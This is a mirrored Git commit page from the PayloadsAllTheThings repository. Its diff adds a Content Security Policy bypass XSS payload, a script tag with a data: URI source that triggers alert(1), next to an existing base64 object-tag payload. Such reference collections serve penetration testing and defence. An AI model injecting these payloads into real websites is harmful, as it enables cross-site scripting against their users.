gitea-mirror/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2025-12-12 15:49:38 -08:00
Code Issues Packages Projects Releases Wiki Activity

SID history break trust + Powershell history + SCF files

Browse Source
This commit is contained in:
Swissky
2019-11-07 23:21:00 +01:00
parent 6fecedd880
commit f6d5221a85
4 changed files with 107 additions and 9 deletions
Download Patch File Download Diff File Expand all files Collapse all files

9
XSS Injection/README.md
View File

@@ -932,6 +932,15 @@ Works for CSP like `script-src self`
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
```
### Bypass CSP by [@404death](https://twitter.com/404death/status/1191222237782659072)
Works for CSP like `script-src 'self' data:`
```javascript
<script ?/src="data:+,\u0061lert%281%29">/</script>
```
## Common WAF Bypass
### Cloudflare XSS Bypasses by [@Bohdan Korzhynskyi](https://twitter.com/h1_ragnar) - 3rd june 2019